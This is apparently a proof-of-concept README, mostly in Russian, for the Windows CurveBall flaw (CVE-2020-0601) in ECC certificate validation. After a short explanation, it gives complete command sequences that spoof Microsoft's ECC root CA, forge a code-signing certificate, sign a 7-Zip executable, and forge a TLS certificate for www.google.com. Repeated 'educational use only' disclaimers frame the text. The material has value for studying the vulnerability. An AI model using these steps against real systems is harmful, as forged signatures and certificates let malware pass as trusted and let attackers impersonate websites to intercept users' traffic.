
CurveBall (CVE-2020-0601) - PoC CVE-2020-0601, or commonly referred to as CurveBall, is a vulnerability in which the signature of certificates using elliptic curve cryptography (ECC) is not correctly verified. Attackers can supply hand-rolled generators, bypassing validation, antivirus & all non-protections.
CVE-2020-0601, также известная как CurveBall, — это уязвимость, при которой подпись сертификатов, использующих эллиптическую криптографию (ECC), проверяется некорректно.
ECC опирается на различные параметры. Для многих кривых используются стандартизированные параметры. Однако Microsoft, как всегда гениально, не проверяла все эти параметры... Параметр G (генератор) НЕ проверялся, и злоумышленник может подставить собственный генератор. В результате, когда Microsoft пытается проверить сертификат на соответствие доверенному ЦС, она ищет только совпадающие открытые ключи, и... бум! — используется генератор из сертификата.
NSA подробно описывает разрушительное влияние этой уязвимости и многое другое здесь. Пристегнитесь и вперёд!
MicrosoftECCProductRootCertificateAuthority.cer по умолчанию является доверенным корневым центром сертификации (ЦС), использующим ECC в Windows 10. Всё, что подписано этим сертификатом, автоматически считается доверенным.
Следует сказать: за вами всегда следят... поэтому Пожалуйста, используйте это только в образовательных и исследовательских целях.
Минимальные требования
openssl 1.1.0
ruby 2.4.0
Если вам интересны математические детали уязвимости, читайте подробнее здесь.
Для подделки сертификата задайте следующие параметры:
d' = 1
G' = Q
Так, чтобы Q = Q' = d'G'.
Создайте сертификат с тем же открытым ключом и параметрами, что и у доверенного ЦС. Он будет использоваться как наш поддельный ЦС. Установите генератор в такое значение, для которого вы знаете закрытый ключ. Вы можете просто установить генератор равным открытому ключу, а закрытый ключ — 1, так как Q = dG.
Далее создайте запрос на подпись сертификата (CSR) с нужными расширениями, например, подпись кода или аутентификация сервера.
Подпишите этот запрос сертификата с помощью поддельного ЦС и его ключа, добавив расширения использования.
Объедините подписанный запрос (теперь уже обычный сертификат) с поддельным ЦС — и у вас есть подписанный и доверенный сертификат.
Когда Windows проверяет доверие к сертификату, она видит, что он подписан нашим поддельным ЦС. Затем она смотрит на открытый ключ поддельного ЦС и сверяет его с доверенными ЦС. После этого она просто проверяет подпись нашего поддельного ЦС с помощью генератора этого же поддельного ЦС — в этом и заключается проблема.
Если вы попытаетесь открыть ваш новый подписанный доверенный сертификат в Windows, система не распознает его как доверенный, так как он не привязан ни к чему, и поэтому не будет использовать поддельный ЦС. Сертификат всегда должен предъявляться вместе с поддельным ЦС.
Пожалуйста, используйте это только в образовательных и исследовательских целях.
Извлеките открытый ключ из ЦС и измените его в соответствии с уязвимостью:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Сгенерируйте новый сертификат x509 на основе этого ключа. Это будет наш собственный поддельный ЦС.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
Сгенерируйте новый ключ. Этот ключ может быть любого типа. Он будет использоваться для создания сертификата подписи кода, который мы подпишем нашим собственным ЦС.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
Далее создайте новый запрос на подпись сертификата (CSR). Этот запрос обычно отправляется доверенным ЦС, но, поскольку у нас есть поддельный, мы можем подписать его сами.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
Подпишите новый CSR нашим поддельным ЦС и ключом ЦС. Этот сертификат истечёт в 2047 году, тогда как настоящий доверенный ЦС Microsoft истекает в 2043 году.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
Осталось только упаковать сертификат, его ключ и поддельный ЦС в файл PKCS12 для подписи исполняемых файлов.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
Подпишите исполняемый файл с помощью PKCS12.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe
Пожалуйста, используйте это только в образовательных и исследовательских целях.
Извлеките открытый ключ из ЦС и измените его в соответствии с уязвимостью:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Сгенерируйте новый сертификат x509 на основе этого ключа. Это будет наш собственный поддельный ЦС.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
Сгенерируйте новый ключ. Этот ключ может быть любого типа. Он будет использоваться для создания SSL-сертификата, который мы подпишем нашим собственным ЦС.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
Далее создайте новый запрос на подпись сертификата (CSR). Этот запрос обычно отправляется доверенным ЦС, но, поскольку у нас есть поддельный, мы можем подписать его сами.
Если хотите изменить доменное имя, отредактируйте CN = www.google.com на CN = www.example.com внутри openssl_tls.conf.
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls
Подпишите новый CSR нашим поддельным ЦС и ключом ЦС. Этот сертификат истечёт в 2047 году, тогда как настоящий доверенный ЦС Microsoft истекает в 2043 году.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls
Теперь вы можете использовать cert.crt, cert.key и spoofed_ca.crt для обслуживания своего контента. Опять же, не забудьте добавить spoofed_ca.crt как цепочку сертификатов в конфигурации HTTPS вашего сервера.
Пример использования см. в [https://github.com/IIICTECH/-CVE-2020-0601---ECC-/blob/master/tls/index.js).
Пожалуйста, используйте это только в образовательных и исследовательских целях.